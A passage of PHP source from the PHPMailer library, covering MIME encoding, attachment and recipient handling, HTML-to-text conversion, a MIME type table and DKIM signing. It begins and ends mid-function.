            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
